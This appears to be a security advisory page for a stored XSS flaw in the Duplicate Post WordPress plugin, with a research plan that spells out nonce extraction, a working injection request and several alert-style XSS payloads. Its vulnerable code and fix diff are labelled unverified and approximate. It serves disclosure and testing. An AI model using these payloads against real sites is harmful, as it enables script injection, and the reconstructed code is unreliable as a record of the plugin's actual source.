CVE-2019-25314

Duplicate Post <= 3.2.3 - Authenticated (Administrator+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
3.2.4
Patched in
6d
Time to patch

Description

The Duplicate Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.3
PublishedFebruary 11, 2026
Last updatedFebruary 16, 2026
Affected pluginduplicate-post

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2019-25314 - Stored XSS in Yoast Duplicate Post ## 1. Vulnerability Summary The **Yoast Duplicate Post** plugin (versions <= 3.2.3) is vulnerable to Stored Cross-Site Scripting (XSS) via its settings page. Specifically, the fields used to define a prefix or suffix for cloned po…

Show full research plan

Research Plan: CVE-2019-25314 - Stored XSS in Yoast Duplicate Post

1. Vulnerability Summary

The Yoast Duplicate Post plugin (versions <= 3.2.3) is vulnerable to Stored Cross-Site Scripting (XSS) via its settings page. Specifically, the fields used to define a prefix or suffix for cloned post titles are not properly sanitized before being stored in the database, nor are they escaped when rendered back to the user in the admin interface.

While the exploit requires Administrator privileges, it is considered a vulnerability because it allows an admin to bypass unfiltered_html restrictions, which are common in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/options.php (Standard WordPress settings handler).
  • Vulnerable Settings Page: /wp-admin/options-general.php?page=duplicatepost.
  • Vulnerable Parameters: duplicate_post_title_prefix and duplicate_post_title_suffix.
  • Authentication: Required (Administrator+).
  • Precondition: The WordPress environment must have unfiltered_html disabled for the administrator (e.g., Multisite or define( 'DISALLOW_UNFILTERED_HTML', true ); in wp-config.php).

3. Code Flow

  1. Registration: The plugin registers its settings in duplicate-post-options.php (or the main plugin file) using register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' ). In version 3.2.3, the sanitize_callback argument is likely missing or insufficient.
  2. Storage: When an administrator saves the settings via options.php, the raw input in $_POST['duplicate_post_title_prefix'] is saved directly to the wp_options table.
  3. Output (Sink): When the administrator visits the settings page (options-general.php?page=duplicatepost), the plugin retrieves the option using get_option( 'duplicate_post_title_prefix' ) and echoes it into the value attribute of an <input> tag or as a text label without using esc_attr() or esc_html().
  4. Execution: If the payload contains "><script>alert(1)</script>, it breaks out of the HTML attribute and executes the script.

4. Nonce Acquisition Strategy

This vulnerability exploits a standard WordPress settings form. The nonce is generated by settings_fields( 'duplicate_post_group' ) on the plugin's settings page.

  1. Navigate to the Duplicate Post settings page.
  2. Extract the nonce using browser_eval.

Action Plan:

  • Page: /wp-admin/options-general.php?page=duplicatepost
  • Selector: input[name="_wpnonce"]
  • JS Extraction: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")

5. Exploitation Strategy

The goal is to inject a script into the duplicate_post_title_prefix option.

Step 1: Login and Nonce Retrieval

Log in as an Administrator and navigate to the Duplicate Post settings.

  • Request: GET /wp-admin/options-general.php?page=duplicatepost
  • Action: Use browser_eval to extract the _wpnonce value and the referer if necessary.

Step 2: Inject Payload

Submit a POST request to options.php to update the settings.

  • URL: http://localhost:8080/wp-admin/options.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    option_page=duplicate_post_group&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    _wp_http_referer=/wp-admin/options-general.php?page=duplicatepost&
    duplicate_post_title_prefix="><script>alert(document.domain)</script>&
    duplicate_post_title_suffix=&
    submit=Save+Changes
    

Step 3: Trigger Execution

Navigate back to the settings page to trigger the stored script.

  • URL: http://localhost:8080/wp-admin/options-general.php?page=duplicatepost
  • Verification: Observe the alert() execution or check the HTML source for the unescaped script tags.

6. Test Data Setup

  1. Install Plugin: Ensure duplicate-post version 3.2.3 is installed and active.
  2. Disable Unfiltered HTML: Execute via WP-CLI:
    wp config set DISALLOW_UNFILTERED_HTML true --raw
    
  3. Admin User: Ensure a standard Administrator user exists.

7. Expected Results

  • The POST request to options.php should return a 302 Redirect back to the settings page with settings-updated=true.
  • Upon loading the settings page, the browser should execute the injected JavaScript.
  • The HTML source of the page should contain:
    <input ... name="duplicate_post_title_prefix" value=""><script>alert(document.domain)</script>" />
    

8. Verification Steps

After performing the HTTP exploit, use WP-CLI to verify the injection in the database:

wp option get duplicate_post_title_prefix

Success criteria: The output should exactly match "><script>alert(document.domain)</script>.

9. Alternative Approaches

If the settings page escapes the value in the input field but fails elsewhere:

  1. Check Post List: Clone a post using the plugin's "Clone" link on the edit.php (Posts list) page. Check if the newly created draft title (which now includes the prefix) renders the XSS in the post list table.
  2. Payload Variation: Use different tags if <script> is filtered by a WAF (though unlikely in this isolated test):
    • "><img src=x onerror=alert(1)>
    • "><details open ontoggle=alert(1)>
Research Findings
Static analysis — not yet PoC-verified

Summary

The Yoast Duplicate Post plugin for WordPress (v3.2.3 and below) is vulnerable to Stored Cross-Site Scripting via its 'Title prefix' and 'Title suffix' configuration settings. Due to a lack of input sanitization and output escaping, an administrator can inject arbitrary JavaScript that executes whenever the settings page is viewed, effectively bypassing unfiltered_html restrictions in Multisite or hardened environments.

Vulnerable Code

// Registration of settings without a sanitize_callback in the main plugin file or options handler
register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' );
register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix' );

---

// Rendering of the settings in duplicate-post-options.php (approximate line based on code flow)
<input type="text" id="duplicate_post_title_prefix" name="duplicate_post_title_prefix" value="<?php echo get_option('duplicate_post_title_prefix'); ?>" />
<input type="text" id="duplicate_post_title_suffix" name="duplicate_post_title_suffix" value="<?php echo get_option('duplicate_post_title_suffix'); ?>" />

Security Fix

--- duplicate-post-options.php
+++ duplicate-post-options.php
@@ -10,2 +10,2 @@
-register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix' );
-register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix' );
+register_setting( 'duplicate_post_group', 'duplicate_post_title_prefix', 'sanitize_text_field' );
+register_setting( 'duplicate_post_group', 'duplicate_post_title_suffix', 'sanitize_text_field' );
@@ -50,2 +50,2 @@
-value="<?php echo get_option('duplicate_post_title_prefix'); ?>"
+value="<?php echo esc_attr(get_option('duplicate_post_title_prefix')); ?>"
-value="<?php echo get_option('duplicate_post_title_suffix'); ?>"
+value="<?php echo esc_attr(get_option('duplicate_post_title_suffix')); ?>"

Exploit Outline

The exploit targets the WordPress options handling mechanism used by the plugin. An authenticated Administrator first navigates to the Duplicate Post settings page (/wp-admin/options-general.php?page=duplicatepost) to retrieve a valid security nonce. The attacker then sends a POST request to /wp-admin/options.php with the 'option_page' set to 'duplicate_post_group', the captured nonce, and a malicious XSS payload (e.g., "><script>alert(1)</script>) in the 'duplicate_post_title_prefix' or 'duplicate_post_title_suffix' fields. Because the plugin does not sanitize this input, the payload is stored in the options table. The script executes whenever an administrator views the settings page, as the stored value is echoed directly into the HTML input tag's value attribute without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.